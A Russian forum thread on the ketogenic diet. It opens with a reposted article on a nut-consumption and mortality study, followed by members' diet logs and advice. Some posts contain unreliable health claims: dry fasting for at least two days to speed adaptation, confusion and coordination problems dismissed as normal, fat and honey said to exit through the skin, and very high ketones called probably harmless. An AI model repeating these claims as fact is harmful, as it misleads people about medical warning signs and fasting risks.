Но исследования, наоборот, показывают обратную ассоциацию риска болезней и смертности с потреблением орехов в целом и арахиса в отдельности. Специально отделяли арахис от других орехов (поскольку это как бы не настоящий орех, а бобовое), но обнаружили, что он по своим положительным эффектам не отличается от классических древесных орехов. Таким образом, по иронии судьбы именно арахис является единственным "орехом", польза которого показана в отдельности. Остальные орехи оценивались все вместе, без различения по видам, таким образом нельзя понять все ли они одинаково полезны, или же какие-то больше, какие-то меньше. Арахис же полезен в той же степени, сколь остальные орехи в целом.

Ниже статья о наиболее крупном и качественном из таких исследований. Хотя оно и наблюдательное, то есть может установить только ассоциацию, а не причинно-следственную связь, но его высокое качество и особо тщательные коррекции предполагают, что причинно-следственная обратная связь орехов и смертности весьма вероятна. Профессиональная оценка http://medpro.ru/digest/prodolzhitel...2%80%A6_orekhi также отмечает высокое качество этого исследования. Метаанализ http://www.ncbi.nlm.nih.gov/pubmed/24847854 (при котором обрабатывается множество исследований с учетом параметров их качества), также подтвердил то же самое - потребление орехов обратно связано со смертностью. Это перекликается и со многими исследованиями о пользе орехов в профилактике заболеваний и улучшении биомаркеров. Полезные вещества в составе орехов (ненасыщенные жиры, витамины, клетчатка, флавоноиды, фитостеролы и др.) согласуются с их пользой. Наконец, также существуют и строгие доказательства, устанавливающие причинно-следственную связь, полученные в других, меньших исследованиях.


Орехи продлевают жизнь

Первое крупное исследование о пользе орехов показало, что у людей, которые ежедневно съедают горсть орехов, шансы умереть на 20% меньше, в сравнении с теми, кто данный продукт не потребляет. Такое заключение сделали ученые из Института рака Дана-Фарбер, Университета Бригама Янга и Гарвардской школы общественного здравоохранения. Результаты исследований содержат и другие приятные новости: регулярное потребление орехов позволяет сохранить стройность. Любителям орехов теперь не стоит бояться лишнего веса.

Наиболее очевидное преимущество орехов - сокращение на 29% смертности от сердечно-сосудистых заболеваний. Также ученые отметили значительное снижение - на 11% - риска смерти от рака. Правда, пока ученые не определили конкретный вид ореха, который имеет решающее значение для защиты организма. Тем не менее, положительный эффект был отмечен как при потреблении арахиса, так и при потреблении других видов орехов - грецких орехов, фундука, миндаля, бразильского ореха, кешью, пекана, фисташек, макадамии и кедровых орехов.

Некоторые предыдущие исследования обнаружили связь между увеличением потребления орехов и снижением риска таких недугов, как болезни сердца, диабет 2 типа, рак толстой кишки, камни в желчном пузыре. Частое потребление орехов также связывают с сокращением уровня холестерина, снижением окислительного стресса, воспаления, ожирения и невосприимчивости к инсулину. Есть работы, которые показывают, что добавление орехов в рацион снижает общую смертность у отдельных групп населения. Но ни одно из предыдущих исследований подробно не рассматривало различные объемы орехов и их влияние на общую смертность в большой популяции на протяжении более 30 лет.

Для нового исследования ученые использовали базы данных из двух известных текущих наблюдательных исследований, которые собирают сведения о диете и других факторах образа жизни и их последствиях для здоровья. Представлены данные о 76 464 женщинах в период с 1980 по 2010 годы и данные о 42 498 мужчинах с 1986 по 2010 год. Участники исследований заполняли анкеты о потребляемых продуктах каждые два-четыре года. В каждой анкете участникам было предложено оценить, насколько часто они потребляли орехи и указать размер порции (обычный маленький пакет арахиса содержит примерно 30 г).

Чтобы исключить другие факторы, влияющие на смертность и стояние здоровья, ученые провели сложнейший анализ. Например, исследователи обнаружили, что люди, которые едят больше орехов, более стройные, реже курят, и, скорее всего, занимаются спортом, принимают витамины, потребляют больше фруктов и овощей, но пьют больше алкоголя. Анализ позволил выделить связь между орехами и смертностью независимо от названных факторов.

Люди, в рационе которых есть орехи, в ближайшие 30 лет реже будут испытывать трудности со здоровьем. Те, кто ест орехи реже раза в неделю, снижают тем самым вероятность смерти на 7%. Потребление орехов раз в неделю снижает смертность на 11%; два-четыре раза в неделю - на 13%; пять-шесть раз в неделю - на 15%, а семь или более раз в неделю - на 20%.

Авторы отметили, что данное исследование до конца не доказывает наличие причинно-следственной связи между орехами и состоянием здоровья. Тем не менее, результаты перекликаются с данными других подобных исследований в пользу потребления орехов.

На основе предыдущих исследований Комиссия по контролю пищевых продуктов и лекарственных препаратов США рекомендует потреблять 45 г орехов в день для снижения риска сердечно-сосудистых заболеваний.

http://zoom.cnews.ru/rnd/news/line/o...dlevayut_zhizn

kukunja 26-11-2014 07:53

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 929721)
Если выводы ошибочные, то что толку от их "логичности"

В электронике, в процессе диагностики, проверяются все логически возможные неисправности, и только методом исключения, выявляется действительная неисправность.

ArmStrong 24-12-2014 17:11

Re: Кетогенная диета
 
оказывается и кони и люди любят семечки. Кстати, в детстве я с удовольствием ел жмыхи от семечек (макуха), рядом была сельская масловыжималка, теперь её не видно.
Я с интересом изучаю корм коней и свиней, их ЖКТ ближе к человеческому, нежели у жвачных животных.

ArmStrong 04-01-2015 20:20

Re: Кетогенная диета
 
раскошелился и купил книгу "Чудо кокосового масла", на англ. Не жалею, много интересных выкладок о жирах в теоретической части. И в догонку купил его книгу о кетогенной диете. Сейчас всё критически изучаю, чтобы самому ориентироваться в ценности жиров, без подсказок.
Например, что лучше, масло какао или кокосовое?
Автор там не упоминает масло какао, нужно самому вычислить.

qaz 05-01-2015 06:46

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 935246)
Например, что лучше, масло какао или кокосовое?
Автор там не упоминает масло какао, нужно самому вычислить.

Сравни состав ж.к. и сделай выводы.
Шоколад, наверное тебе очень нравиться. )))

ArmStrong 05-01-2015 14:29

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 935284)
Сравни состав ж.к. и сделай выводы.
Шоколад, наверное тебе очень нравиться. )))

что я и собираюсь делать, и в той книге детально описываются свойства всех ж.к.
Все подарочные шоколaды я выбросил в мусорку.
Но у меня есть масло какао и кокосовое и масло дерева ши. Автор той книги зациклился на кокосовом масле, что настораживает.

P.S. Его книги, которые я сейчас читаю:

1 - Fife, Bruce. The Coconut Oil Miracle, 5th Edition. Penguin Group US -издательство.


2 - The Coconut Ketogenic Diet: Supercharge Your Metabolism, Revitalize Thyroid Function, and Lose Excess Weight (English Edition)
Bruce Fife (Автор)

Maksenek 05-03-2015 02:05

Re: Кетогенная диета
 
Вот уж казалось бы, сторонники всех диет и рационов претендующих на ЗОЖ все соглашаются в одном: рафинированные продукты - абсолютное зло. Ан нет, оказывается некоторые даже сами готовы рафинировать... :-)

Айри 08-04-2015 14:27

Re: Кетогенная диета
 
Привет всем кетогенщикам с опытом, теперь и я в вашей песочнице. После двух лет вегетарианства, а потом и веганского сыроедения, в поисках наиболее оптимальной системы питания.

С сыроедения резко перешла на питание чуть ли не одним салом и (о чудо!) абсолютно никакого дискомфорта. Нет ни вздутия, ни болей, ни тошноты, вообще никаких проблем с пищеварением. Перестал болеть желчный. Ем два раза в день - утром, как только проснусь (6-7) и второй раз в 4-6 часов вечера. Голода нет. Сыроедческий жор прошел.

Рацион сейчас примерно такой:
утро - 2 яйца, приличный шмат сала (грамм 100)
обед - то же самое. или 2 яйца+грамм 300 селедки.
+ иногда простокваша
из углеводов - квашенная капуста/пара морковок/вареная свекла

По калориям из-за сала выходит выше крыши. Со временем буду сокращать. Привыкла есть большие объемы на веганстве.


Назрело пара вопросов.

Когда лучше есть углеводы - с утра или все-таки вечером?
Овощи. Сырые или вареные?

Мнения по этим вопросам расходятся.

И еще. Обязательно ли нужно принимать какие-то добавки? С таким рационом, какой у меня сейчас, я думаю, определенно может возникнуть дефицит определенных веществ.

Какие продукты следует добавить? Можно ли обойтись без синтетических добавок?

Maksenek 09-04-2015 12:49

Re: Кетогенная диета
 
^ "Пара вопросов" несерьезные, особого значения это не имеет. А вот насчет дефицитов, да, в зависимости от набора продуктов могут какие-то развиться. Так что составляйте рацион с учетом потребностей. Продуктами можно, но сложно - придется колдовать со смесями и возможно искать всякую экзотику. Проще конечно принять поливитаминку, хотя ряд исследований показал что они, предположительно, могут быть вредны.

Гвоздь 09-04-2015 14:01

Re: Кетогенная диета
 
Цитата:

Сообщение от Айри (Сообщение 949562)
Какие продукты следует добавить?

На мой взгляд, нужно добавить морепродукты. Они - океанские - много чего содержат, чего в зелени и зелень поедающих или нет, или мало. Всякие там йод, селен, цинк, медь - там этого навалом. Я уж не говорю о морских незаменимых жирных кислотах типа Ω-3. И сельдь размораживаю, и креветки, и мидии. В большом эволюционном масштабе мы, всё-таки, изначально (с пол миллиарда лет как) - морские хищники. А ля латимерия. Это наша природа. У меня по утрам и мясо, и сало (сырые), вечером - "ныряю". Из растительного лучше говорить не об углях, а о клетчатке. Определённый процент капусты, морковки, свёклы, на мой взгляд, нужен. Их хоть местных можно найти,не привозных.

monoed 13-04-2015 05:23

Re: Кетогенная диета
 
Уважаемые участники форума, у меня вопрос. Прошу прощения, если он не напрямую относится к теории кетогенной диеты.

Дело в том, что я заметил, когда моя диета так или иначе приближается к высокожировой (неважно с микро-дозами углеводов или без углеводов), кожа на лице начинает сильно жирниться. То есть лицо достаточно быстро становится круглым (отечным) и сильно "масляным". Есть этому объяснение? Просто как я понял не должно быть прямой жесткой связи между питанием жирами и гиперфункцией сальных желез. Заранее благодарю за любые ответы.

ArmStrong 13-04-2015 06:58

Re: Кетогенная диета
 
это даже хорошо. Избыток жиров организм выводит через кожу, вместо их откладывания под кожей. То же может быть и с углеводами. Мне один молодой человек рассказывал как он разом съел банку мёда, и через некоторое время мёд стал выходить через кожу живота.
IMHO

Сергей Р 14-04-2015 15:19

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 950246)
лицо достаточно быстро становится круглым (отечным) и сильно "масляным". Есть этому объяснение? Просто как я понял не должно быть прямой жесткой связи между питанием жирами и гиперфункцией сальных желез.

Я думаю, у Вас не все в порядке с жировым обменом. Возможно не запускается кетогенез.

monoed 14-04-2015 16:15

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергей Р (Сообщение 950420)
Возможно не запускается кетогенез.

Спасибо! Вот-вот, что-то подозрительное. Правда через 36 часов ВГ тест на кетоны положительный, более 1.5 ед., жирнение не такое сильное как на жировом питании. При ультра-мало-редкоедении на чистых углеводах такого нет почему-то (70-100 гр. крахмала в сутки).

Айри 23-04-2015 05:55

Re: Кетогенная диета
 
Столкнулась вот с такой проблемой. Пока на без/малоуглеводке, чувствую себя отлично. Но в какой-то момент тянет на углеводы. А потом не могу остановиться их поглощать, ем в невообразимых количествах, объедаюсь, становится плохо. Вздутие, расстройства и т.д.
Подозреваю у себя синдром раздраженного кишечника. В рекомендациях при этой проблеме - ограничить жиры, увеличить белки и углеводы. Но от углеводов мне нехорошо. Да и одними белками питаться не будешь же.
Что делать, товарищи? Помогите советом.

Maksenek 23-04-2015 06:06

Re: Кетогенная диета
 
Цитата:

Сообщение от Айри (Сообщение 951672)
Столкнулась вот с такой проблемой. Пока на без/малоуглеводке, чувствую себя отлично. Но в какой-то момент тянет на углеводы. А потом не могу остановиться их поглощать, ем в невообразимых количествах, объедаюсь, становится плохо. Вздутие, расстройства и т.д.
Подозреваю у себя синдром раздраженного кишечника. В рекомендациях при этой проблеме - ограничить жиры, увеличить белки и углеводы. Но от углеводов мне нехорошо. Да и одними белками питаться не будешь же.
Что делать, товарищи? Помогите советом.

Опыт "кетогенщицы" (по факту низкоуглеводницы) Dr. Ede, а также мой собственный, свидетельствует о том что организм стремится поддерживать минимальный уровень углеводов в размере 18% в энергетическом эквиваленте. Если питаться с меньшим количеством углеводов, то периодически будут срывы на углеводы, благодаря которым средний процент подтягивается до 18 (или более). Так что для упреждения срывов, попробуйте сделать 18% постоянно.

Яся 02-05-2015 13:05

Re: Кетогенная диета
 
Моя кетогенная диета закончилась бесславно, практически не успев начаться -- через неделю. Провела серьезную подготовку (прочитала всю эту ветку и еще немного информации из интернета :-)). И очень воодушевилась в надежде как-то дать отпор своим аутоиммунным болячкам.

Но ни тут-то было! Неприятности начались с первой же ночи -- стали сниться кошмары. Днем же до третьих-четвертых суток все было нормально. Даже очень! Но уже к пятым стали забываться слова и вообще голова стала какой-то тяжелой. Думать над тем, что надо было по работе, не получалось. Двигаться тоже приходилось через силу. И (это также насторожило!) возникли проблемы с координацией движений.

Шестые-седьмые сутки продолжала кето-диету, надеясь переждать "переходный период": вдруг потом станет лучше. Но в конце концов после последней бессонной ночи, проведенной в очень непонятном состоянии, эксперимент прекратила...

Жутко жаль. Диета вкусная :-), на углеводы совершенно не тянуло. И надежды были колоссальные. Но что-то, видимо, делала не так. Может быть, какая-то несовместимость с принимаемыми лекарствами? Или организм такой дурной?

Или поспешила с выходом из диеты? Но, действительно, стало страшно...

Maksenek 02-05-2015 13:14

Re: Кетогенная диета
 
Цитата:

Сообщение от Яся (Сообщение 953036)
Неприятности начались с первой же ночи -- стали сниться кошмары.

Может дело не в кето, а в конкретных продуктах. У меня например от копченой курицы кошмары, безо всякого кето.
Цитата:

Сообщение от Яся (Сообщение 953036)
Двигаться тоже приходилось через силу. И (это также насторожило!) возникли проблемы с координацией движений.

Это нормально при урезании углеводов. Нужно время, чтобы переключиться на другие источники энергии. А пока не адаптируешься, её будет не хватать.
Цитата:

Сообщение от Яся (Сообщение 953036)
Но уже к пятым стали забываться слова и вообще голова стала какой-то тяжелой.

То же самое.
Цитата:

Сообщение от Яся (Сообщение 953036)
Но что-то, видимо, делала не так.

Чтобы прояснить это, нужны подробности. Продукты, их количество, калорийность, количество и соотношение БЖУ.

Яся 02-05-2015 13:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 953038)
нужны подробности

Maksenek, спасибо за отклик! Наверное, я не слишком тщательно подошла к эксперименту: ни калорийность, ни БЖУ не высчитывала. По ощущениям, углеводов было мало: те, которые есть в 150 г йогурта или одном яйце (через день) и примерно 100 г брокколи.

Цитата:

Сообщение от Maksenek (Сообщение 953038)
Может дело не в кето, а в конкретных продуктах. У меня например от копченой курицы кошмары, безо всякого кето

Это идея! Может быть, дело в сале. Обычно мало ем "мясных" продуктов. А сало -- практически никогда!

Цитата:

Сообщение от Maksenek (Сообщение 953038)
Это нормально при урезании углеводов. Нужно время, чтобы переключиться на другие источники энергии. А пока не адаптируешься, её будет не хватать.

Maksenek, для меня такое состояние было новым :-) Хотя углеводы всегда стараюсь ограничивать.

Но, думаю, скорее всего, Вы правы! Зря паникую. Сейчас (прошло полтора дня с момента окончания диеты) уже всё более или менее нормально: почти как обычно. Надо будет немного позже попробовать еще раз. Уже с записью калорийности и всего прочего :-)

Maksenek 02-05-2015 13:49

Re: Кетогенная диета
 
Цитата:

Сообщение от Яся (Сообщение 953040)
ни калорийность, ни БЖУ не высчитывала

Кетодиета зиждется на строгом учете соотношения БЖУ. А если так, то в таком случае, может это и не кето было вовсе, а что-то типа Аткинса (если белка было больше минимальной потребности, или соотношение БЖУ было отличным от 4:1 (жира по массе должно быть в 4 раза больше, сем сумма белков и углеводов). Хотя бывает ещё 3:1, но это не классическое соотношение.

Reasonable 02-05-2015 14:36

Re: Кетогенная диета
 
Яся, следуя диете, адаптиция к кетогенке занимает несколько недель. То что вы описали свидетельствует о низкой глюкозе, т.е. глюкоза уже низкая, а мозг на кетоны ещё не переключился, вот он и страдает.

Самый быстрый и эффективный переход на кетогенку это через голодание, минимум 2 дня, чтобы израсходовать печёночный гликоген и перейти на жиры/кетоны. Иначе, при питании, только этот переход у вас займёт с неделю.

То что кетоны в системе уже есть ничего не значит -- для мозга. Для того чтобы мозг перешёл на кетоны (особенно если это в первый раз или первый раз за долгое время), они должны достичь определённого уровня, а это занимает время. Нужный уровень кетонов быстрее и легче всего достигается на сухом (или суховатом) голоде -- иначе вода во-первых разбавляет их концентрацию в плазме, а во-вторых выводит их с мочой.

То же самое происходит на голоде: ступенчатая адаптация проявляется в кризах, и первый криз занимает 7-10 дней -- вот сколько времени занимает мозгу адаптироваться к кетогенке --на голоде! На диете все сроки умножаются в разы, но, конечно они зависят от кол-ва углеводных калорий. В начале, чем меньше, тем быстрее вы перестроитесь, а потом уже можно их и прибавить.

Яся 02-05-2015 15:53

Re: Кетогенная диета
 
Reasonable! Maksenek! Спасибо!

Попробую недели через две возобновить эксперимент. С учетом ваших советов. И постараюсь не пугаться понапрасну... Просто такого состояния не удавалось "получить" даже при довольно длительном голодании :-)

***
Цитата:

Сообщение от Maksenek (Сообщение 953042)
Кетодиета зиждется на строгом учете соотношения БЖУ. А если так, то в таком случае, может это и не кето было вовсе, а что-то типа Аткинса (если белка было больше минимальной потребности, или соотношение БЖУ было отличным от 4:1...

Сейчас подсчитала калорийность и БЖУ своего кето-рациона (довольно однообразного -- вспомнить нетрудно). Соотношение по массе жиров к белкам было от 4:1 до 5:1 (перестраховалась :-)). При общей калорийности около 1550 ккал. Белков -- 30-36 г, углеводов -- 20-27 г.

Сколько чего нужно на кето-диете (не в пропорции, а количественно) особо нигде не написано. Но, если чего-то будет больше, то возрастет калорийность. Да и мне больше не съесть :-)

Maksenek 13-06-2015 14:55

Re: Кетогенная диета
 
Кто-нибудь пробовал есть/пить только 100% жир/масло?

Maksenek 13-06-2015 15:04

Re: Кетогенная диета
 
Цитата:

Сообщение от Яся (Сообщение 953057)
Сейчас подсчитала калорийность и БЖУ своего кето-рациона (довольно однообразного -- вспомнить нетрудно). Соотношение по массе жиров к белкам было от 4:1 до 5:1 (перестраховалась ). При общей калорийности около 1550 ккал. Белков -- 30-36 г, углеводов -- 20-27 г.

Хотя на этом сообщении стоит моя "спасибка", то есть было прочитано, но почему-то, только сейчас заметил эту полезную информацию...

Подсчет неправильный. Эта характеристика кетодиеты выражается не в отношении жира к белку, а в отношении жира к сумме белка и углеводов.

ArmStrong 13-06-2015 15:30

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 957294)
Кто-нибудь пробовал есть/пить только 100% жир/масло?

только одно масло есть такое: кокосовое.
Другие масла не подходят, и причина вот какая:
Если выпить много масла, то пронесёт, как при чистке печени.
Если же пить по ложке через час, то это вредно, так как для расщепления масла ЖКТ должен заводить каждый раз машину.
Только кокосовое масло может усвоиться без жёлчи.

Maksenek 13-06-2015 15:38

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 957297)
только одно масло есть такое: кокосовое.
Другие масла не подходят, и причина вот какая:
Если выпить много масла, то пронесёт, как при чистке печени.
Если же пить по ложке через час, то это вредно, так как для расщепления масла ЖКТ должен заводить каждый раз машину.

А топленое масло чем не подходит? Его можно есть, а не пить, и много не съешь.
Цитата:

Сообщение от ArmStrong (Сообщение 957297)
Только кокосовое масло может усвоиться без жёлчи.

Есть доказательства?

Вопрос был не в смысле "какое можно есть/пить", а "кто пробовал". То есть интересует личный опыт.

ArmStrong 13-06-2015 15:51

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 957298)
Вопрос был не в смысле "какое можно есть/пить", а "кто пробовал". То есть интересует личный опыт.

я говорил о личном опыте.
И ответил на вопрос почему не другое масло.
Топлёное масло вызывает у меня отвращение, тогда как на кокосовое - тянет.
Значит организм чувствует это.

monoed 13-06-2015 15:53

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 957294)
Кто-нибудь пробовал есть/пить только 100% жир/масло?

Хочу попробовать, по этому я и начал тебя донимать насчет этого т.масла :D Были раньше такие мысли, но не было хороших примеров, только теории из статей и книжек.

Maksenek 13-06-2015 16:15

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 957301)
я говорил о личном опыте.

Так где же он, личный опыт? Я весь во внимании. Интересует срок, количество, потребление воды и других веществ если было, для чего использовалось, по какой причине было прекращено, какие были эффекты и т.д. Одним словом - всё, и как можно подробнее.
Цитата:

Сообщение от ArmStrong (Сообщение 957301)
Топлёное масло вызывает у меня отвращение, тогда как на кокосовое - тянет.
Значит организм чувствует это.

Ну для моих целей отвращение это как раз хорошо, не съешь лишнее, а только самое минимально необходимое.:-)

ArmStrong 13-06-2015 18:11

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 957304)
Так где же он, личный опыт? Я весь во внимании. Интересует срок, количество, потребление воды и других веществ если было, для чего использовалось, по какой причине было прекращено, какие были эффекты и т.д. Одним словом - всё, и как можно подробнее.
.......
Ну для моих целей отвращение это как раз хорошо, не съешь лишнее, а только самое минимально необходимое.:-)

ничего дополнительного сообщить не могу.
Это не факт, что такое питание мне помогло.
И это не рекомендация для других.
Вы спросили, пробовал ли кто либо...
В моём ответе много субъективного, но это всего лишь ИМХО, и не для дискуссий. Но я с интересом прочитаю возможную критику, и опыт других.

Яся 13-06-2015 20:40

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 957295)
Подсчет неправильный. Эта характеристика кетодиеты выражается не в отношении жира к белку, а в отношении жира к сумме белка и углеводов.

Спасибо! Уже увидела свою ошибку :-) Такую пропорцию соблюсти ещё труднее (и вообще, реально ли?), поэтому никак не соберусь продолжить кетоэксперимент.

Maksenek 14-06-2015 02:50

Re: Кетогенная диета
 
Цитата:

Сообщение от Яся (Сообщение 957320)
Такую пропорцию соблюсти ещё труднее (и вообще, реально ли?)

Конечно реально. Но и трудно, действительно. Те кому кетодиета назначена по медицинским показаниям, могут сидеть на ней десятилетиям. Столь большое преобладание жира необходимо, чтобы как можно полнее перевести организм на питание жиром и кетонами вместо глюкозы. Существуют альтернативные варианты, где становится возможным делать это соотношение более мягким, как большая доля среднецепочечных жирных кислот (специальное искусственное масло) или диета Аткинса в индукционной фазе. Но возможно, это подойдет не для всех целей, для которых используют классическую кетодиету. На всех кетодиетах и альтернативах рекомендуют добавлять витаминно-минеральные комплексы, так как считается, что обычными продуктами на подобных рационах невозможно или сложно удовлетворить все стандартные потребности в этих веществах. Также имеется много противопоказаний, и рекомендуют проводить это под медицинским наблюдением. Некоторые зожники, возможно, обходятся без этих рекомендаций. Но это видимо имеется ввиду при длительном использовании.

ArmStrong 16-06-2015 23:54

Re: Low Water --> Slow Metabolism
 
Цитата:

Сообщение от Maksenek (Сообщение 957543)
C сегодня продолжаю с новой модификацией. Растер топленое масло (74 г) с сухими картофельными хлопьями (20 г). Это соотношение соответствует кетодиете 4:1. Попробовал - вкусно! Совсем другое дело. Надеюсь, с этой смесью не возникнет проблемы с отвращением.

картофельные хлопья покупные или самодельные?
в картошке много крахмала, то есть углей.
Если средства позволяют, попробуй масло яичных желтков.

monoed 17-06-2015 00:15

Re: Low Water --> Slow Metabolism
 
Цитата:

Сообщение от ArmStrong (Сообщение 957642)
картофельные хлопья покупные или самодельные?

ArmStrong, это покупные. Если у тебя есть рецепт самодельных -- опиши, я его ищу.
Цитата:

Сообщение от ArmStrong (Сообщение 957642)
Если средства позволяют, попробуй масло яичных желтков.

Что за масло, первый раз слышу, можно ли сделать в домашних условиях или есть такой товар?

ArmStrong 17-06-2015 09:37

Re: Low Water --> Slow Metabolism
 
Цитата:

Сообщение от monoed (Сообщение 957645)
ArmStrong,
Что за масло, первый раз слышу, можно ли сделать в домашних условиях или есть такой товар?

http://www.golodanie.su/forum/showthread.php?p=935327
Цитата:

Сообщение от Багирочка (Сообщение 935327)
Можно. На сковороду много желтков. Толстое дно.Небольшой огонь. И как только давленые желтки отскочат снять . В марлю и отдавить. Оно будет желтого а не горелого и больше витамин-е


monoed 17-06-2015 09:47

Re: Low Water --> Slow Metabolism
 
ArmStrong, спасибо! Ты сам его потреблял? Твои ощущения, польза, выводы.

ArmStrong 17-06-2015 10:34

Re: Low Water --> Slow Metabolism
 
Цитата:

Сообщение от monoed (Сообщение 957645)
ArmStrong, это покупные. Если у тебя есть рецепт самодельных -- опиши, я его ищу.

инфо из интернета:


http://www.youtube.com/watch?v=EgBri7K1Ejo

http://www.mlynok.com.ua/ru/internet...leniya-khlopev


Цитата:

Сообщение от mlynok.com.ua
FlicFloc
Описание:
Вы скажете: "Зачем выдумывать устройство для изготовления хлопьев, если их можно купить в магазине?" Но причин, на самом деле достаточно, во-первых - это очень просто, даже ребенок может изготавливать хлопья с помощью FlicFloc. Два конусообразные валы из нержавеющей стали могут, с легкостью, превращать зерно в хлопья, с помощью высококачественных подшипников.
http://www.mlynok.com.ua/ru/internet.../flicfloc.html


FlocMan
Описание:
Электрическое устройство для раздавливания зерна KoMo FlocMan – один из самых новейших приборов, предназначенных для приготовления зерновых хлопьев, а также расплющивания мака, масличных культур и пряностей.
Прибор от немецкой компании КоМо, изготовленный из экологически чистых материалов, незаменим для тех, кто предпочитает здоровое питание.
Зернодавилка сконструирована таким образом, что зерно, размещенное во вместительном бункере, попадает на конусообразные валики из нержавеющей стали, и в раздавленном состоянии опускается в керамическую чашку.
Если мюсли, которые продаются в торговой сети, за время транспортировки теряют до 70% питательных веществ, так как окисляются в течение одного-двух часов, то хлопья, приготовленные на домашней кухне, сохраняют их в полном объеме.
Стильный дизайн и небольшие размеры прибора послужат украшением интерьера любой кухни.
Спецификация
Материал корпуса: буковое дерево.
Материал роликов: нержавеющая сталь.
Мощность мотора: 140 Вт.
Производительность: 80-100 г/мин.
Вместимость загрузочного контейнера: 700 г.
Габариты: 310х300х150 мм.
Вес: 5,5 кг.
Гарантия: 6 лет.
http://www.mlynok.com.ua/ru/internet...v/flocman.html


ArmStrong 17-06-2015 10:44

Re: Low Water --> Slow Metabolism
 
Цитата:

Сообщение от monoed (Сообщение 957670)
ArmStrong, спасибо! Ты сам его потреблял? Твои ощущения, польза, выводы.

употреблял в грубой форме, а именно:
желтки на сковородку плюс растительное масло, слабый огонь, масло слить потом, а яичницу в рот себе или другим, не выбрасывать же. Масло долго хранится в холодильнике, можно и для наружного применения и массажа.
Быстро и легко. Возможно рецепт Багирочки лучше, но там много мороки и труда.

P.S. теперь лишние яйца не залеживаются у меня на кухне...

monoed 20-07-2015 11:51

Re: Кетогенная диета
 
Друзья! Нужен совет, кто в курсе и имеет опыт. Но я в таком состоянии, что не могу сформулировать что спрашиваю :-(
Сыроедил и сыромоноедил сколько-то дней, потом после этого в эти выходные ел то сало то жирный куриный бульон (понемногу и редко). Сейчас вот что:

Цитата: Сообщение от monoed
Я как-то делился, что могу без полосок только по самочувствию определить, есть у меня кетоны или нет. Ну и не только я. Померил сейчас полоской, она зашкалила по цвету на максимальных 8-ми единицах. Это опасно, потому что если она показала максимум, значит там может быть и 9 и 10 и больше. Самочувствие при этом странное, но не похожее на 1.5 или 2 кетонов (тогда было тяжелее). Скорее всего высокий ацетон дурманит и чувствительность к страданиям падает, может возникать эйфория или другие проявления неадекватности.
...
...
употребил 100 мл. подслащенного клюквенного сока (4.5 гр сахара) и 67 гр. чистой мякоти черешни, через 1 час снова замерил кетоны -- по прежнему зашкаливают больше максимальной восьмерки, но самочувствие поменялось. Просто стало другим каким-то, непонятно...

Maksenek 20-07-2015 12:17

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 961364)
Но я в таком состоянии, что не могу сформулировать что спрашиваю

Это точно. Но что за состояние, можно поконкретнее? На качество и точность тест-полосок жалобы уже были.

monoed 20-07-2015 18:04

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 961370)
Но что за состояние, можно поконкретнее?

Maksenek, теперь я немного пришел в себя и могу что-то связное попытаться. После моего сообщения здесь я в ужасе употребил еще 47 гр. ягод и порядка 900 мл. указанного сока. Через пару часов я провалился в глубокий сон порядка нескольких часов. Сейчас кетоны полностью исчезли.

Вопрос такой: сколько можно безопасно находиться в состоянии кетоза при ацетоне в моче более 8-ми, если это он и был?

Был нарушен сон гдето последние 4 дня, возможна ли адаптация к высокому ацетону и как скоро она начинается?

Если бы я не стал есть и пить угли, а только пил бы больше воды, как быстро ацен снизился бы до комфортного минимума?

Reasonable 20-07-2015 23:13

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 961364)
употребил 100 мл. подслащенного клюквенного сока (4.5 гр сахара) и 67 гр. чистой мякоти черешни, через 1 час снова замерил кетоны -- по прежнему зашкаливают

Цитата:

Сообщение от monoed (Сообщение 961408)
Если бы я не стал есть и пить угли, а только пил бы больше воды, как быстро ацен снизился бы

Уровень ацетоацетата в моче отражает уровень бета-гидроксимасл. кислоты часа 4 назад (т.е. моча не кровоток, она медленно производится и медленно собирается в пузыре).

Касательно кетонов в крови, как только сахар и => инсулин поднимутся, печень сраззу же перестаёт производить кетоны, и уровень кетонов в крови падает стремительно (что будет отражено в моче часа через 4-6).

monoed 20-07-2015 23:24

Re: Кетогенная диета
 
Reasonable, спасибо! Теперь ясно, что есть некоторое запоздание реакции мочи на кетоны в крови. Глюкоза из напитков усваивается стремительно, значит можно их применять. Буду иметь ввиду.

А что с критичным уровнем ацетона в крови? Есть опасность или орг. не будет его производить в смертельных количествах по природе?

Maksenek 21-07-2015 00:51

Re: Кетогенная диета
 
Так и не написал, что у тебя было за состояние, но учитывая что после этого "провалился в глубокий сон" можно догадаться, т.к. у меня похожее бывало на кетодиете. А откуда инфа, что высокие кетоны могут быть опасны?

monoed 21-07-2015 01:35

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 961443)
А откуда инфа, что высокие кетоны могут быть опасны?

Машину водить не мог точно. Путал вещи, иногда отвечал невпопад.

Maksenek 21-07-2015 01:49

Re: Кетогенная диета
 
Цитата:

Сообщение от monoed (Сообщение 961445)
Машину водить не мог точно. Путал вещи, иногда отвечал невпопад.

А, ну если в этом смысле, понятно что опасно, также как и вождение в сонном состоянии. Но это похоже на банальную нехватку энергии, так что для здоровья вряд ли опасно.

Maksenek 21-07-2015 02:02

Re: Кетогенная диета
 
Причина нехватки энергии в момент начальной адаптации к кетодиете в том, что организм не может заместить недостающую глюкозу кетонами сразу, нужно несколько дней на раскачку. В этот период ощущается нехватка энергии и происходит повышенный расход белка на синтез глюкозы. Поэтому мозг как в тумане, странное состояние, усталость, сонливость.

http://maksenek.narod.ru/graphs/four...of-fasting.png

Reasonable 21-07-2015 02:56

Re: Кетогенная диета
 
Цитата:

